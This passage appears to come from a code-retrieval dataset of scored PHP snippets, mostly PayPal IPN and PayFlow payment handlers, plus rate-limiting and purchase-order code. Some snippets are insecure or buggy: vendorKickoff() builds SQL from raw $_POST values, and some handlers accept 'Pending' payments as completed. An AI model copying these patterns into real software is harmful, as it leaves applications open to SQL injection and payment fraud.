GeneralHelper::loan_paid_item($loan->id,\n 'principal',\n $schedule->due_date) - GeneralHelper::loan_paid_item($loan->id,\n 'interest', $schedule->due_date));\n $sch->penalty = $sch->penalty + (($loan->loan_product->late_repayment_penalty_amount / 100) * $principal);\n }\n if ($loan->loan_product->late_repayment_penalty_calculate == 'overdue_principal_interest_fees') {\n $principal = (GeneralHelper::loan_total_principal($loan->id,\n $schedule->due_date) + GeneralHelper::loan_total_interest($loan->id,\n $schedule->due_date) + GeneralHelper::loan_total_fees($loan->id,\n $schedule->due_date) - GeneralHelper::loan_paid_item($loan->id,\n 'principal',\n $schedule->due_date) - GeneralHelper::loan_paid_item($loan->id,\n 'interest',\n $schedule->due_date) - GeneralHelper::loan_paid_item($loan->id,\n 'fees',\n $schedule->due_date));\n $sch->penalty = $sch->penalty + (($loan->loan_product->late_repayment_penalty_amount / 100) * $principal);\n }\n if ($loan->loan_product->late_repayment_penalty_calculate == 'total_overdue') {\n $principal = (GeneralHelper::loan_total_due_amount($loan->id,\n $schedule->due_date) - GeneralHelper::loan_total_paid($loan->id,\n $schedule->due_date));\n $sch->penalty = $sch->penalty + (($loan->loan_product->late_repayment_penalty_amount / 100) * $principal);\n }\n }\n $sch->save();\n }\n }\n }\n //notify admin\n\n\n //notify client that we have received payment\n }\n\n } else {\n if (strcmp($res, \"INVALID\") == 0) {\n\n// PAYMENT INVALID & INVESTIGATE MANUALY!\n //notify admin that payment was unsuccessful\n\n }\n }\n }\n fclose($fp);\n }\n }", "title": "" }, { "docid": "55d65ea4d89b63d45d856a67ee557df7", "score": "0.51400024", "text": "public function paypalIPNSaving(Request $request)\n {\n $req = 'cmd=_notify-validate';\n foreach ($_POST as $key => $value) {\n $value = urlencode(stripslashes($value));\n $req .= \"&$key=$value\";\n }\n// post back to PayPal system to validate\n $header = \"POST /cgi-bin/webscr HTTP/1.0\\r\\n\";\n $header .= \"Content-Type: application/x-www-form-urlencoded\\r\\n\";\n $header .= \"Content-Length: \" . strlen($req) . \"\\r\\n\\r\\n\";\n\n $fp = fsockopen('ssl://www.paypal.com', 443, $errno, $errstr, 30);\n\n\n if (!$fp) {\n// HTTP ERROR\n } else {\n fputs($fp, $header . $req);\n while (!feof($fp)) {\n $res = fgets($fp, 1024);\n if (strcmp($res, \"VERIFIED\") == 0) {\n\n// PAYMENT VALIDATED & VERIFIED!\n $item_name = $request['item_name'];\n $item_number = $request['item_number'];\n $payment_status = $request['payment_status'];\n $payment_amount = $request['mc_gross'];\n $payment_currency = $request['mc_currency'];\n $txn_id = $request['txn_id'];\n $receiver_email = $request['receiver_email'];\n $payer_email = $request['payer_email'];\n $notes = 'Paypal: txn_id=' . $txn_id . '.<br>Payer Email:' . $payer_email . '.<br>Currency:' . $payment_currency;\n if ($payment_status == 'Completed' || $payment_status == 'Processed' || $payment_status == 'Sent' || $payment_status == 'Pending') {\n $saving = Saving::find($item_number);\n $savings_transaction = new SavingTransaction();\n $savings_transaction->borrower_id = $saving->borrower_id;\n $savings_transaction->amount = $payment_amount;\n $savings_transaction->savings_id = $saving->id;\n $savings_transaction->type = \"deposit\";\n $savings_transaction->date = date(\"Y-m-d\");\n $savings_transaction->time = date(\"H:i\");\n $date = explode('-', date(\"Y-m-d\"));\n $savings_transaction->year = $date[0];\n $savings_transaction->month = $date[1];\n $savings_transaction->notes = $notes;\n $savings_transaction->save();\n\n\n //notify admin\n\n\n //notify client that we have received payment\n }\n\n } else {\n if (strcmp($res, \"INVALID\") == 0) {\n\n// PAYMENT INVALID & INVESTIGATE MANUALY!\n //notify admin that payment was unsuccessful\n\n }\n }\n }\n fclose($fp);\n }\n }", "title": "" }, { "docid": "9300167b5f388b95e6d8fa978435981b", "score": "0.51333046", "text": "public function bounceCurrentIp(): void\n {\n // Retrieve the current IP (even if it is a proxy IP) or a testing IP\n $forcedTestIp = $this->getConfig('forced_test_ip');\n $ip = $forcedTestIp ?: $this->getRemoteIp();\n $ip = $this->handleForwardedFor($ip, $this->configs);\n $this->logger->info('Bouncing current IP', [\n 'ip' => $ip,\n ]);\n $remediation = $this->getRemediationForIp($ip);\n $this->handleRemediation($remediation, $ip);\n }", "title": "" }, { "docid": "146db98378ab793f9990ed18cae97784", "score": "0.5131753", "text": "function vendorKickoff(){\n\t\tglobal $dbh;\n\t\t\t\n\t\t/* Record Purchasing agent */\n\t\t$auth_sql = \"UPDATE Authorization SET issuer='\" . $_SESSION['eid'] . \"', \n\t\t\t\t\t\t\t \t\t\t \t issuerDate=NOW(),\n\t\t\t\t\t\t\t\t\t\t\t level='O'\n\t\t\t\t\t\t \t\t\t \t WHERE id = \" . $_POST['auth_id'];\n\t\t$dbh->query($auth_sql);\n\n\t\t/* Update Request Status */\n\t\t$po_sql = \"UPDATE PO SET po='\" . $_POST['po'] . \"',\n\t\t\t\t\t\t\t\t status='O' \n\t\t\t\t\t\t\t WHERE id = \" . $_POST['id'];\n\t\t$dbh->query($po_sql);\t\t\n\t\t\n\t\t// Send email to Requester\n\t\tsendCompleted($_POST['req'],$_POST['id'],htmlspecialchars($_POST['purpose']),$_POST['po'], $_SESSION['eid']);\t\t\n\t\t//sendVendor($_POST['id']);\n\t\n\t\theader(\"location: \" . $_SERVER['PHP_SELF'] . \"?id=\" . $_POST['id']);\n\t\texit();\n\t}", "title": "" }, { "docid": "696d5e412cb0eaf5b85a231ac007510e", "score": "0.51286805", "text": "public function reject_if_pickup_not_confirmed() {\n\n\t\t$possible_bookings = $this->car_booking_auto_reminder_model->request_if_pickup_not_confirmed();\n\t\tif ($possible_bookings) {\n\t\t\t//cancel the booking \n\t\t\tforeach ($possible_bookings as $p_b) {\n\t\t\t\t$this->car_booking_auto_reminder_model->set_reject_status($p_b['id']);\n\t\t\t\t$this->send_booking_expire_mail($p_b['id']);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "dfb148b873857b8f10d31a683e445d31", "score": "0.5115943", "text": "function __payDoNothing() {\n}", "title": "" }, { "docid": "f0d634f4da032ca103947773808a17c7", "score": "0.5112009", "text": "public function paypal_cancel_refund_plan($plan_detail = null,$current_plan_payment = null)\n {\n\n \n $user = Auth::user();\n //dd($user);die;\n \n try {\n\n\n $PayFlow = new PayFlow($this->paypal_vendor,$this->paypal_partner, $this->paypal_user_name, $this->paypal_password, 'recurring');\n\n $PayFlow->setEnvironment('test'); \n $PayFlow->setTransactionType('R');\n $PayFlow->setProfileAction('I');\n $PayFlow->setProfileId($user->paypal_profile_id);\n $PayFlow->setPaymentHistory('O');\n\n if($PayFlow->processTransaction()){\n $response = $PayFlow->getResponse();\n \n if($response['RESULT'] == '0'){\n\n unset($response['RESULT'],$response['RPREF'],$response['PROFILEID']);\n if(empty($response)){\n return false;\n }\n $final_array = [];\n foreach($response as $keys=>$values){\n $index = substr($keys, -1);\n $keys = substr($keys, 0, -1); \n $final_array[$index][$keys] = $values; \n }\n \n // end($final_array);// move the internal pointer to the end of the array\n $keyy = key($final_array);\n\n \n $last_payment = $final_array[$keyy];\n\n if(count($final_array) > 1){\n end($final_array);\n $key = key($final_array);\n $previous_payment = $final_array[$key];\n }else{\n //dd($last_payment);\n $previous_payment = $last_payment;\n }\n \n if($last_payment['P_RESULT'] == 0){\n \n //var_dump($status);die;\n \n\n if(!empty($previous_payment) && $plan_detail->id == 2){\n $refunded = $this->refund_pay_pal_transaction($last_payment['P_PNREF'],$plan_detail,$current_plan_payment,$last_payment['P_AMT']);\n if(!$refunded){\n return false;\n }\n\n if($previous_payment == $last_payment){\n\n $current_plan = UserPlan::where('user_id','=',$user->id)\n ->where('status','=','1')\n ->first()\n ->update(['status'=>'0']);\n return true;//return from here if both have same value.\n }\n\n // switch to previous plan\n\n $plan_id = $plan_detail->id == 1 ? 2 : 1;\n //dd($current_plan_detail);\n $plan_detail_to = Plans::find($plan_id);\n $current_plan_detail = UserPlan::where('user_id','=',$user->id)\n ->where('status','=','1')\n ->first();\n\n $PayFlowNew = new PayFlow($this->paypal_vendor,$this->paypal_partner, $this->paypal_user_name, $this->paypal_password, 'recurring');\n // dd($PayFlow);\n\n $PayFlowNew->setEnvironment('test'); // test or live\n $PayFlowNew->setTransactionType('R'); // 'USD', 'EUR', 'GBP', 'CAD', 'JPY', 'AUD'.\n\n // Only used for recurring transactions\n $PayFlowNew->setProfileAction('M');\n $PayFlowNew->setPaymentComment($plan_detail_to->plan_name_en);\n $PayFlowNew->setAmount($plan_detail_to->price,FALSE);\n\n \n $PayFlowNew->setProfileId($user->paypal_profile_id);\n\n if($PayFlowNew->processTransaction()){\n \n $responseNew = $PayFlowNew->getResponse();\n //dd($responseNew['RPREF']);\n $current_plan = UserPlan::where('user_id','=',$user->id)\n ->where('status','=','1')\n ->first()\n ->update(['status'=>'0']);\n\n $user_plan = new UserPlan;\n $user_plan->user_id = $user->id;\n $user_plan->plan_id = $plan_detail_to->id;\n $user_plan->payment_id = $current_plan_detail->payment_id;\n $user_plan->transaction_id = @$responseNew['RPREF'];\n $user_plan->amount = $plan_detail_to->price;\n $user_plan->status = '1';\n $user_plan->save();\n return true;\n // return ['status' => 'success','transaction_id'=> $response['RPREF'], 'msg' => 'plan has been subscribed to you successfully.'];\n }else{\n $response = $PayFlow->getResponse();\n //dd($response);\n return false;\n }\n \n }else{\n\n $starter_payment = Payment::where('user_id', '=', $user->id)\n ->where('plan_id','=',0)\n ->where('created_at', '>=', Carbon::now()->subDays(14)->toDateTimeString())\n ->first();\n\n $current_plan_detail = UserPlan::where('user_id','=',$user->id)\n ->where('status','=','1')\n ->first();\n if(!empty($starter_payment)){\n $refund_amount = $current_plan_detail->amount - 7;\n $refund_amount = number_format((float)$refund_amount, 2, '.', '');\n }else{\n $refund_amount = $current_plan_detail->amount;\n $refund_amount = number_format((float)$refund_amount, 2, '.', '');\n }\n\n $refunded = $this->refund_pay_pal_transaction($previous_payment['P_PNREF'],$plan_detail,$current_plan_payment,$refund_amount);\n\n if(!$refunded){\n return false;\n }\n\n \n\n\n $PayFlowNew = new PayFlow($this->paypal_vendor,$this->paypal_partner, $this->paypal_user_name, $this->paypal_password, 'recurring');\n\n $PayFlowNew->setEnvironment('test'); // test or live\n $PayFlowNew->setTransactionType('R'); // 'USD', 'EUR', 'GBP', 'CAD', 'JPY', 'AUD'.\n\n // Only used for recurring transactions\n $PayFlowNew->setProfileAction('C');\n\n $PayFlowNew->setAmount($plan_detail->price,FALSE);\n $PayFlowNew->setPaymentComment($plan_detail->plan_name_en);\n $PayFlowNew->setProfileId($user->paypal_profile_id);\n\n if($PayFlowNew->processTransaction()){\n \n $user_id = Auth::user()->id;\n $response = $PayFlowNew->getResponse();\n $current_plan = UserPlan::where('user_id','=',$user_id)\n ->where('status','=','1')\n ->first()\n ->update(['status'=>'0']);\n return true;\n // return ['status' => 'success','transaction_id'=> $response['RPREF'], 'msg' => 'plan has been subscribed to you successfully.'];\n }else{\n //dd($responseNew = $PayFlow->getResponse());\n return false;\n }\n\n }\n\n \n\n\n \n \n\n }else{\n\n return false;\n }\n \n\n \n\n }else{\n return false;\n }\n\n \n \n \n // return ['status' => 'success','transaction_id'=> $response['RPREF'], 'msg' => 'plan has been subscribed to you successfully.'];\n }else{\n // $response = $PayFlow->getResponse();\n // dd($response);\n return false;\n }\n\n\n\n }catch (Exception $e) {\n return false;\n }\n\n\n }", "title": "" }, { "docid": "dbc20c069fb5223abed57eff49c58b3f", "score": "0.5090071", "text": "function apply_rate_limiting($action) {\n // Get the remote IP address\n $ip = $_SERVER['REMOTE_ADDR'];\n // Query the database for this IP\n $sql = \"SELECT ip, blocked, tries, UNIX_TIMESTAMP(cooldown) AS cooldown\n FROM rate_limited_ips\n WHERE ip = inet_aton( ? );\n \";\n $response = $this->query($sql, \"s\", $ip);\n // Initialize a new IP object\n $rlip = new IP($response);\n // Existing entry\n if ($response) {\n // Check the tries counter\n if ($rlip->tries < 5 - 1) {\n // Still got tries, just increment\n $rlip->incrementTries();\n }\n else {\n // IP doesn't have more tries! Is it blocked?\n if ($rlip->isBlocked()) {\n // It is indeed blocked\n $now = $this->date(\"U\");\n // Check if it should be unblocked\n if ($now < $rlip->cooldown) {\n // Oops, still blocked, disregard request\n $this->response(\"RATE_LIMITED\");\n }\n else {\n // Unblocked! Reset it\n $rlip->reset();\n }\n }\n else {\n // IP should be blocked but is not! Block it!\n $rlip->block();\n $this->log(\"RATE-LIMIT\", \"Action $action is being rate-limited for $ip\");\n }\n }\n }\n }", "title": "" }, { "docid": "187f4797c1a9aa8ca03bd6f4a798d466", "score": "0.5080324", "text": "function handle_verified_ipn() {\n $post_id = \"\"; \n\n $_email =\"\"; $_fname = \"\"; $_lname = \"\"; $_add_milis = false; $postData = \"\"; $mailchimp_data = array();\n\n\t if ( \"Completed\" == $_POST['payment_status'] || \"completed\" == $_POST['payment_status'] )\n {\n\n\t if( $_POST[ 'txn_type' ] == 'subscr_payment' )\n\t\t {\n\t\t //This is where recurring goes\n\t\n\t\t\t\t$transientKey = \"t_\". $_POST[ 'custom' ];\n\n\t\t\t\t$e = get_option('migla_replyTo');\n\t\t\t\t$en = get_option('migla_replyToName');\n\t\t\t\t$ne = get_option('migla_notif_emails');\n\t\t\t\t\n\t\t\t\t///GET CURRENT TIME SETTINGS----------------------------------\n\t\t\t\t$php_time_zone = date_default_timezone_get();\n\t\t\t\t$t = \"\"; \n\t\t\t\t$d = \"\"; \n\t\t\t\t$default = get_option('migla_default_timezone');\n\n\t\t\t\tif( $default == 'Server Time' ){\n\t\t\t\t\t\t $gmt_offset = -get_option( 'gmt_offset' );\n\n\t\t\t\t\t\t if ($gmt_offset > 0){ \n\t\t\t\t\t\t\t$time_zone = 'Etc/GMT+' . $gmt_offset; \n\t\t\t\t\t\t }else{\t\t\n\t\t\t\t\t\t\t$time_zone = 'Etc/GMT' . $gmt_offset; \n\t\t\t\t\t\t }\n\t\t\t\t\t date_default_timezone_set( $time_zone );\n\t\t\t\t\t $t = date('H:i:s');\n\t\t\t\t\t $d = date('m').\"/\".date('d').\"/\".date('Y');\n\t\t\t\t}else{\n\t\t\t\t\t date_default_timezone_set( $default );\n\t\t\t\t\t $t = date('H:i:s');\n\t\t\t\t\t $d = date('m').\"/\".date('d').\"/\".date('Y');\n\t\t\t\t}\n\t\t\t\t\tdate_default_timezone_set( $php_time_zone );\n\t\t\t\t ///---------------------------------GET CURRENT TIME SETTINGS\t \n\t \t\t\t \n $is_ongoing = migla_check_if_exist( 'miglad_subscription_id', $_POST['subscr_id'] );\n $pid_txn = migla_check_if_exist( 'miglad_transactionId', $_POST['txn_id'] );\t\t\t\n\t\t $isPDT = get_option('migla_using_pdt');\n $postData = get_option( $transientKey );\n\n\t if( $is_ongoing == -1 && $pid_txn == -1 ) //Initial Recurring\n\t { \n\t\t if( $isPDT != 'yes' )\n\t\t {\t \t\n \t \t\t\t \n if( $postData == false ){ //cache not found\n\n $post_id = migla_create_post(); //Make A POST\n\n // migla_donation_from_paypal($post_id, $post);\n \t add_post_meta( $post_id, 'miglad_session_id', $_POST['custom'] );\n add_post_meta( $post_id, 'miglad_firstname', $_POST['first_name'] );\n add_post_meta( $post_id, 'miglad_lastname', $_POST['last_name'] );\n\n $amountfrompaypal = $_POST['payment_gross'] ;\n if( $amountfrompaypal == '' ){ \n $amountfrompaypal = $_POST['mc_gross']; \n }\n add_post_meta( $post_id, 'miglad_amount', $amountfrompaypal );\n\n add_post_meta( $post_id, 'miglad_phone', $_POST['contact_phone'] );\n add_post_meta( $post_id, 'miglad_country', $_POST['address_country'] );\n add_post_meta( $post_id, 'miglad_address', $_POST['address_street'] );\n add_post_meta( $post_id, 'miglad_email', $_POST['payer_email'] );\n add_post_meta( $post_id, 'miglad_city', $_POST['address_city'] ); \n add_post_meta( $post_id, 'miglad_state', $_POST['address_state'] ); \n\n //Additional data\n add_post_meta( $post_id, \"miglad_time\" , $t );\n add_post_meta( $post_id, \"miglad_date\" , $d );\n\t\t\t\t\t\t \n\t\t\t\t\t\t\t //Save data from paypal\n\t\t\t\t\t\t\t add_post_meta( $post_id, 'miglad_paymentmethod', 'Paypal' );\n\t\t\t\t\t\t\t add_post_meta( $post_id, 'miglad_paymentdata', $_POST );\n\t\t\t\t\t\t\t add_post_meta( $post_id, 'miglad_transactionId', $_POST['txn_id'] );\n\t\t\t\t\t\t\t add_post_meta( $post_id, 'miglad_timezone', $default );\n\n\t\t\t\t\t\t\t\t add_post_meta( $post_id, 'miglad_transactionType', 'Recurring (Paypal)' );\n\t\t\t\t\t\t\t\t add_post_meta( $post_id, 'miglad_subscription_id', $_POST['subscr_id'] ); \n\n $_email = $_POST['payer_email']; \n $_fname = $_POST['first_name']; \n $_lname = $_POST['last_name'];\t\n $mailchimp_data['miglad_email'] = $_POST['payer_email'];\n $mailchimp_data['miglad_firstname'] = $_POST['first_name']; \n $mailchimp_data['miglad_lastname'] = $_POST['last_name'];\t\n\n\t /** EMAIL **/\n\t\t\t\t\t\t $email_data = array();\n\t\t\t\t\t\t $email_data['miglad_firstname'] = $_POST['first_name']; \n\t\t\t\t\t\t $email_data['miglad_lastname'] = $_POST['last_name'];\n\t\t\t\t\t\t $email_data['miglad_email'] = $_POST['payer_email']; \n\t\t\t\t\t\t $email_data['miglad_amount'] = $amountfrompaypal; \n\t\t\t\t\t\t $email_data['miglad_date'] = $d; \n\t\t\t\t\t\t $email_data['miglad_time'] = $t; \n\t\t\t\t\t\t $email_data['miglad_campaign'] = ''; \n\t\t\t\t\t\t mg_send_thank_you_email( $email_data, $e, $en );\n\t\t\t\t\t\t mg_send_notification_emails( $email_data, $e, $en , $ne );\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t}else{\n\n $post_id = migla_create_post(); //Make A POST\n\n\t\t\t\t\t\t\t $i = 0; \n\t\t\t\t\t\t\t $keys = array_keys( $postData );\n\t\t\t\t\t\t\t foreach( (array)$postData as $value)\n\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t add_post_meta( $post_id, $keys[$i], $value ); $i++;\n\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t \n $amountfrompaypal = $_POST['payment_gross'] ;\n if( $amountfrompaypal == '' ){ \n $amountfrompaypal = $_POST['mc_gross']; \n }\n update_post_meta( $post_id, 'miglad_amount', $amountfrompaypal );\t\t\t\t\t\t\t \n\n\t\t\t\t\t\t\t update_post_meta( $post_id, 'miglad_time', $t ); \n\t\t\t\t\t\t\t update_post_meta( $post_id, 'miglad_date', $d ); \n\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t //Save data from paypal\n\t\t\t\t\t\t\t add_post_meta( $post_id, 'miglad_paymentmethod', 'Paypal' );\n\t\t\t\t\t\t\t add_post_meta( $post_id, 'miglad_paymentdata', $_POST );\n\t\t\t\t\t\t\t add_post_meta( $post_id, 'miglad_transactionId', $_POST['txn_id'] );\n\t\t\t\t\t\t\t add_post_meta( $post_id, 'miglad_timezone', $default );\n\n\t\t\t\t\t\t\t\t add_post_meta( $post_id, 'miglad_transactionType', 'Recurring (Paypal)' );\n\t\t\t\t\t\t\t\t add_post_meta( $post_id, 'miglad_subscription_id', $_POST['subscr_id'] ); \n\n\t\t\t\t\t\t\t/*** EMAILS ***/\n\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\t mg_send_thank_you_email( $postData, $e, $en );\n\t\t\t\t\t\t\t mg_send_notification_emails( $postData, $e, $en , $ne );\n\t\t\t\t\t\t \n\t\t\t\t\t\t\t $tdata = $transientKey. \"hletter\";\n\t\t\t\t\t\t\t $content = get_option( $tdata );\n\n\t\t\t\t\t\t\t migla_hletter( $e, $en , $postData['miglad_honoreeemail'], $content, $postData['miglad_repeating']\n\t\t\t\t\t\t\t\t\t, $postData['miglad_anonymous'], $postData['miglad_firstname'], $postData['miglad_lastname'], \n\t\t\t\t\t\t\t\t\t $postData['miglad_amount'], $postData['miglad_honoreename'] , $d );\t\n\t\t\t\t\t\t\t*/\n\n\t\t\t\t\t\t\tif( get_option('migla_disable_thank_email') != 'yes' )\t\t\n\t\t\t\t\t\t\t\tmg_send_thank_you_email( $postData, $e, $en );\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tmg_send_notification_emails( $postData, $e, $en , $ne);\n\n\t\t\t\t\t\t\tif( isset($postData['miglad_honoreeemail']) && get_option('migla_disable_honoree_email') != 'yes' )\n\t\t\t\t\t\t\t{\t \t\t\t\n\t\t\t\t\t\t\t\tmg_send_hletter( $postData, $e, $en, $postData['miglad_honoreeletter'], $postData['miglad_date'] );\n\t\t\t\t\t\t\t}\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t $_email = $postData['miglad_email']; \n $_fname = $postData['miglad_firstname']; \n $_lname = $postData['miglad_lastname'];\n $mailchimp_data['miglad_email'] = $postData['miglad_email']; \n $mailchimp_data['miglad_firstname'] = $postData['miglad_firstname'];\n $mailchimp_data['miglad_lastname'] = $postData['miglad_lastname'];\n\n if( $postData['miglad_mg_add_to_milist'] == 'yes' ){\n $_add_milis = true;\t\n }else{\n $_add_milis = false;\t\n }\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\n\t\t\t\t\t\t}\t \n\t\t\t }//Not PDT\t\n\n /*** MAIL LIST ****/\n $maillist_choice = get_option('migla_mail_list_choice');\n if( $maillist_choice == 'constant_contact' )\n {\n //add to Constant Contact\n //mg_add_to_milist( $_email, $_fname, $_lname, $_add_milis );\n $cc = new migla_constant_contact_class();\n $cc->add_to_milist( $_email, $_fname, $_lname, $_add_milis );\n\n }else if( $maillist_choice == 'mail_chimp' )\n {\n //add to mailchimp\n $cc = new migla_mailchimp_class();\n $cc->subscribe_contact( $mailchimp_data , $_add_milis);\n }\t\t\t\t\t\t \t\t\t\t\t\t \n\t\t\t\t\t\n\t\t\t}else if( $is_ongoing != -1 && $pid_txn == -1 ) //Next Recurring\n\t\t\t{ \n\n $post_id = migla_create_post(); //Make A POST\n migla_create_from_old_donation( $is_ongoing , $post_id );\n\n //Additional data\n add_post_meta( $post_id, \"miglad_time\" , $t );\n add_post_meta( $post_id, \"miglad_date\" , $d );\t\t\t \n\t\t\t\t\t\t\t\t \n //Save data from paypal\n add_post_meta( $post_id, 'miglad_paymentmethod', 'Paypal' );\n add_post_meta( $post_id, 'miglad_paymentdata', $_POST );\n add_post_meta( $post_id, 'miglad_transactionId', $_POST['txn_id'] );\n add_post_meta( $post_id, 'miglad_timezone', $default );\n\n add_post_meta( $post_id, 'miglad_transactionType', 'Recurring (Paypal)' );\n add_post_meta( $post_id, 'miglad_subscription_id', $_POST['subscr_id'] ); \n\t\t\t\t\n\t\t\t\t/*** EMAILS ***/\n\t\t\t\t$email_data = array();\n\t\t\t\t$email_data['miglad_firstname'] = get_post_meta( $post_id, 'miglad_firstname', true );\n\t\t\t\t$email_data['miglad_lastname'] = get_post_meta( $post_id, 'miglad_lastname', true );\n\t\t\t\t$email_data['miglad_email'] = get_post_meta( $post_id, 'miglad_email', true ); \n\t\t\t\t$email_data['miglad_amount'] = get_post_meta( $post_id, 'miglad_amount', true ); \n\t\t\t\t$email_data['miglad_date'] = $d; \n\t\t\t\t$email_data['miglad_time'] = $t; \n\t\t\t\t$email_data['miglad_campaign'] = get_post_meta( $post_id, 'miglad_campaign', true );\t\t\t\t\n\n\t\t\t\t\t\t/*\n\t\t\t\t\t\tmg_send_thank_you_email( $email_data, $e, $en );\n\t\t\t\t\t\tmg_send_notification_emails( $email_data, $e, $en , $ne );\t\t\t\n\t\t\t\t\t\t*/\n\t\t\t\t\t\t\tif( get_option('migla_disable_thank_email') != 'yes' )\t\t\n\t\t\t\t\t\t\t\tmg_send_thank_you_email( $email_data, $e, $en );\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tmg_send_notification_emails( $email_data, $e, $en , $ne );\t\t\t\t\t\n\n\t\t } //Detect If it is intial or not\n\t\t\t \n\t\t }else{\n\n\t\t /****ONE TIME DONATION GOES HERE**/\n\n $isPDT = get_option('migla_using_pdt');\n\n if( $isPDT != 'yes' )\n {\n \n\t\t\t\t$transientKey = \"t_\". $_POST[ 'custom' ];\n\n\t\t\t\t$e = get_option('migla_replyTo');\n\t\t\t\t$en = get_option('migla_replyToName');\n\t\t\t\t$ne = get_option('migla_notif_emails');\n\t\t\t\t\n\t\t\t\t ///GET CURRENT TIME SETTINGS----------------------------------\n\t\t\t\t\t$php_time_zone = date_default_timezone_get();\n\t\t\t\t\t\t$t = \"\"; $d = \"\"; $default = \"\";\n\t\t\t\t\t\t$default = get_option('migla_default_timezone');\n\t\t\t\t\t\tif( $default == 'Server Time' ){\n\t\t\t\t\t\t $gmt_offset = -get_option( 'gmt_offset' );\n\t\t\t\t\t if ($gmt_offset > 0){ \n\t\t\t\t\t\t\t$time_zone = 'Etc/GMT+' . $gmt_offset; \n\t\t\t\t\t\t }else{\t\t\n\t\t\t\t\t\t\t$time_zone = 'Etc/GMT' . $gmt_offset; \n\t\t\t\t\t\t }\n\t\t\t\t\t date_default_timezone_set( $time_zone );\n\t\t\t\t\t $t = date('H:i:s');\n\t\t\t\t\t $d = date('m').\"/\".date('d').\"/\".date('Y');\n\t\t\t\t\t\t}else{\n\t\t\t\t\t date_default_timezone_set( $default );\n\t\t\t\t\t $t = date('H:i:s');\n\t\t\t\t\t $d = date('m').\"/\".date('d').\"/\".date('Y');\n\t\t\t\t\t\t}\n\t\t\t\t\tdate_default_timezone_set( $php_time_zone );\n\t\t\t\t ///---------------------------------GET CURRENT TIME SETTINGS\t \n\t \t\t\t \n \t $postData = get_option( $transientKey );\n $isIDExist = migla_check_if_exist( 'miglad_transactionId', $_POST['txn_id'] );\t\n\t\t\t\t\t\n\t\t\t\t if( $postData == false && $isIDExist == -1 ){\n\t\t\t\t //It lost its transient data\n\t\t\t\t\n\t\t\t\t $post_id = migla_create_post(); //Make A POST\n\t\t\t\t\n // migla_donation_from_paypal($post_id, $post);\n \t add_post_meta( $post_id, 'miglad_session_id', $_POST['custom'] );\n add_post_meta( $post_id, 'miglad_firstname', $_POST['first_name'] );\n add_post_meta( $post_id, 'miglad_lastname', $_POST['last_name'] );\n\n $amountfrompaypal = $_POST['payment_gross'] ;\n if( $amountfrompaypal == '' ){ \n $amountfrompaypal = $_POST['mc_gross']; \n }\n add_post_meta( $post_id, 'miglad_amount', $amountfrompaypal );\n\n add_post_meta( $post_id, 'miglad_phone', $_POST['contact_phone'] );\n add_post_meta( $post_id, 'miglad_country', $_POST['address_country'] );\n add_post_meta( $post_id, 'miglad_address', $_POST['address_street'] );\n add_post_meta( $post_id, 'miglad_email', $_POST['payer_email'] );\n add_post_meta( $post_id, 'miglad_city', $_POST['address_city'] ); \n add_post_meta( $post_id, 'miglad_state', $_POST['address_state'] ); \n\n //Additional data\n add_post_meta( $new_id, \"miglad_time\" , $t );\n add_post_meta( $new_id, \"miglad_date\" , $d );\n\t\t\t\t\t\t \n\t\t\t\t\t\t\t //Save data from paypal\n\t\t\t\t\t\t\t add_post_meta( $post_id, 'miglad_paymentmethod', 'Paypal' );\n\t\t\t\t\t\t\t add_post_meta( $post_id, 'miglad_paymentdata', $_POST );\n\t\t\t\t\t\t\t add_post_meta( $post_id, 'miglad_transactionId', $_POST['txn_id'] );\n\t\t\t\t\t\t\t add_post_meta( $post_id, 'miglad_timezone', $default );\n\n\t\t\t\t\t\t\t\t add_post_meta( $post_id, 'miglad_transactionType', 'One time (Paypal)' );\n\n\n $_email = $_POST['payer_email']; \n $_fname = $_POST['first_name']; \n $_lname = $_POST['last_name'];\n $mailchimp_data['miglad_email'] = $_POST['payer_email'];\n $mailchimp_data['miglad_firstname'] = $_POST['first_name']; \n $mailchimp_data['miglad_lastname'] = $_POST['last_name'];\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t/** EMAILS **/\t\t\t\n\t\t\t\t\t\t $email_data = array();\n\t\t\t\t\t\t $email_data['miglad_firstname'] = $_POST['first_name']; \n\t\t\t\t\t\t $email_data['miglad_lastname'] = $_POST['last_name'];\n\t\t\t\t\t\t $email_data['miglad_email'] = $_POST['payer_email']; \n\t\t\t\t\t\t $email_data['miglad_amount'] = $amountfrompaypal; \n\t\t\t\t\t\t $email_data['miglad_date'] = $d; \n\t\t\t\t\t\t $email_data['miglad_time'] = $t; \n\t\t\t\t\t\t $email_data['miglad_campaign'] = ''; \n\t\t\t\t\t\n\t\t\t\t\t\t/*\n\t\t\t\t\t\tmg_send_thank_you_email( $email_data, $e, $en );\n\t\t\t\t\t\tmg_send_notification_emails( $email_data, $e, $en , $ne );\t\t\t\n\t\t\t\t\t\t*/\n\t\t\t\t\t\t\tif( get_option('migla_disable_thank_email') != 'yes' )\t\t\n\t\t\t\t\t\t\t\tmg_send_thank_you_email( $email_data, $e, $en );\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tmg_send_notification_emails( $email_data, $e, $en , $ne );\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t }else{\n\t\t\t\t //it has its transient data\n\t\t\t\t\t\n if( $isIDExist == -1 ){ //Check if this already saved\n\n $post_id = migla_create_post(); //Make A POST\n \n $i = 0; \n $keys = array_keys( $postData );\n foreach( (array)$postData as $value)\n {\n add_post_meta( $post_id, $keys[$i], $value );\n $i++;\n }\n\t\t\t\t\t\t \n $amountfrompaypal = $_POST['payment_gross'] ;\n if( $amountfrompaypal == '' ){ \n $amountfrompaypal = $_POST['mc_gross']; \n }\n update_post_meta( $post_id, 'miglad_amount', $amountfrompaypal );\t\t\t\t\t\t \n \n //Save data from paypal\n add_post_meta( $post_id, 'miglad_paymentmethod', 'Paypal' );\n add_post_meta( $post_id, 'miglad_paymentdata', $_POST );\n add_post_meta( $post_id, 'miglad_transactionId', $_POST['txn_id'] );\n add_post_meta( 